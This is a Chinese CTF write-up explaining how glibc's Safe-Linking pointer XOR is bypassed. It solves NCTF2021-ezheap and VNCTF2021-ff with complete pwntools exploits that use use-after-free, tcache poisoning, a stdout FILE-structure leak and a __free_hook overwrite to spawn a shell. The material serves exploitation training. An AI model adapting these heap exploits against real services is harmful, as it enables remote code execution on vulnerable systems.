Safe-Linking 机制的绕过

发布时间 2023-03-23 23:27:45作者: 何思泊河

Safe-Linking 机制的绕过

背景:自2.26版本以后增加了tcache后 就出现了tcache poisoning这种相对容易实现的漏洞(因为减少了对size的检查),但在2.32及以后的版本增加了Safe-Linking机制,简单来说就是对tcache的next指针进行了异或运算

手法:就是知道他是如何异或并自己手动计算地址,让它异或为我们想要的地址

它的加密解密就是引用了下面两个宏

加密:
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
    加密后的next值=((next指针的地址)>>12^(next的值))
解密:
    #define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
    next的值=((next指针的地址)>>12^(加密后的next的值))

例题

NCTF2021-ezheap

保护策略

image-20230322103421109

程序分析

常规的菜单题,增删改查都有

image-20230322103625855

漏洞是uaf

在删除函数中只是把存放chunk的size标志位置零,并没有把指针置零,只是无法向已经free的chunk使用edit向里面输入数据

image-20230322103733195

我们要如何使用这个漏洞来打一个 double free

add 0x70 'a' #0

free(0)

add 0x70 'a' #1 把已经释放的chunk0申请回来,

free(0) #此时chunk0 和 chunk1的地址一样,free(0)即把chunk1释放当chunk1的size并没有置零

变化如下

image-20230322104925379

漏洞利用

1、泄露heap和libc地址(因为有show函数和uaf比较简单)

2、计算加密后的__free_hook的值

加密后的next值=((next指针的地址)>>12^(__free_hook))

3、打一个tcache poisoning

exp

from tools import *
context.log_level = 'debug'
context.arch='amd64'

p,e,libc=load('b')

def add(size,content):
    p.sendlineafter(">> ",str(1))
    p.sendlineafter("Size: ",str(size))
    p.sendlineafter("Content: ",content)
    
def edit(index,content):
    p.sendlineafter(">> ",str(2))
    p.sendlineafter("Index: ",str(index))
    p.sendlineafter("Content: ",content)
def delete(index):
    p.sendlineafter(">> ",str(3))
    p.sendlineafter("Index: ",str(index))
def show(index):
    p.sendlineafter(">> ",str(4))
    p.sendlineafter("Index: ",str(index))
    
add(0x70,'a')#0
add(0x70,'a')#1
debug(p,'pie',0x1483,0x1619,0x16C3,0x13B7)
delete(0)

show(0)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))<<12
log_addr('heap_base')



add(0x70,'a')#2
delete(1)
delete(0)



for i in range(3,13):# 3 11
    add(0x80,'a')

for i in range(3,12): #3 10
    delete(i)

show(10)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e3c00
log_addr('libc_base')
system=libc_base+0x503c0
free_hook=libc_base+libc.symbols['__free_hook']


value=((heap_base))>>12^free_hook
log_addr('heap_base')

edit(2,p64(value))
add(0x70,'/bin/sh\x00') #12
add(0x70,p64(system)) #13
delete(12)
p.interactive()
#0x40A0

VNCTF2021-ff

保护策略

image-20230323223732315

程序分析

有四个功能,add,show,edit,delete 但其中的show 只能使用一次 edit只能只用两次,并且show,edit,delete的对象只能是最近的操作对象

漏洞利用

有一个uaf漏洞,首先需要泄露heap 地址和libc地址 因为只能使用一次show,并且申请的最大大小是0x7f,不能直接申请到unsorded中因此需要打一个io leak去泄露libc地址

泄露heap地址和libc地址

heap地址直接用show 就可以泄露出来

三次tcache poisoning 的使用

第一次tcache poisoning是为了下面两次的利用

做法是利用一次edit将打一个tcache poisoning将pthread_tcache_struct释放掉

注意:在开始free pthread_tcache_struct前修改0x290这个链的counts为7让它进入unsorted bin中

第二次tcache poisoning是用来打一个io leak

做法从申请合适0x40大小的chunk从pthread_tcache_struct中,修改0x50和0x80的counts为1

申请合适0x40大小的chunk从pthread_tcache_struct中,让0x50的头指针指向一个libc地址,然后修改后两个字节,爆破一位得到stdout的地址,申请出来修改一下字段完成io leak 攻击

io leak的利用是修改stdout的flag字段和_IO_write_base字段,通过篡改flags字段来绕过一些检查,通过篡改_IO_write_base字段使得系统调用write打印_IO_write_base字段与_IO_write_ptr字段之间的内容泄露出libc地址。

注意:版本是2.32需要自己逆出key值,自己加密想要的next值

第三次tcache poisoning是用来打一个free_hook

注意:上面申请的chunk大小和内容都是精心布置的

调试过程

申请0x40的作用

把0x50和0x80的数量设为1,分别打tcache poisoning 向_IO_2_1_stdout修改结构体打一个io leak 将free_hook申请出来填写system

image-20230323181347987

申请0x30的作用

布局切割让0x50 这个链上出现libc地址,为下面打一个io leak做准备

申请0x30前

image-20230323183816442 image-20230323184007311

image-20230323183922178

image-20230323183941103

第一次申请0x10

将0x50的头指针置为stdout

image-20230323223121452

在申请一个0x40的将这个chunk申请出来,修改修改结构体,在遇见输出函数时就可以将libc地址打印出来

io leak参考

在次申请一个0x10

(效果如下图)发现可以将__free_hook写在0x80的头指针打一个tcache poisoning

image-20230323215445451

在申请一个0x70大小的chunk向free_hook中写入system

image-20230323232028020

exp

from tools import *
context.log_level = 'debug'
context.arch='amd64'

p,e,libc=load('pwn')

def add(size,content):
    p.sendlineafter(">>",str(1))
    p.sendlineafter("Size:\n",str(size))
    p.sendafter("Content:\n",content)
def edit(content):
    p.sendlineafter(">>",str(5))    
    p.sendlineafter("Content:\n",content)

def delete():
    p.sendlineafter(">>",str(2))
def show():
    p.sendlineafter(">>",str(3))
 
add(0x70,'a')
delete()

show()
heap=u64(p.recv(6).ljust(8,b'\x00'))<<12
log_addr('heap')

edit('b'*0x10)#
delete()
edit(p64(((heap)>>12)^(heap+0x10)))
add(0x70,'a')

add(0x70, b'\x00\x00' * 0x27 + b'\x07\x00')

delete()   #free pthread_tcache_struct into unsorted bin

add(0x40,'\x00\x00'*3+'\x01\x00'*1+'\x00\x00'*2+'\x01\x00'+'\x00'*0x38)  #0x50 0x80 set 0x1 number
add(0x30,b'\x00'*0x18+p64(0xdeadbeef))
debug(p,'pie',0xD21,0xBD8,0xCC6,0xD88) 
add(0x10,'\x00'*8+'\xc0\x16')

add(0x40,p64(0xfbad1887)+p64(0)*3+b'\x00') # io leak
libc_base=recv_libc()-0x1e4744
log_addr('libc_base')
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
 
add(0x10,p64(free_hook))#

add(0x70,p64(system))
add(0x10,'/bin/sh\x00')
delete()
p.interactive()

# 0x202080    


参考

[]: https://zikh26.github.io/posts/501cca6.html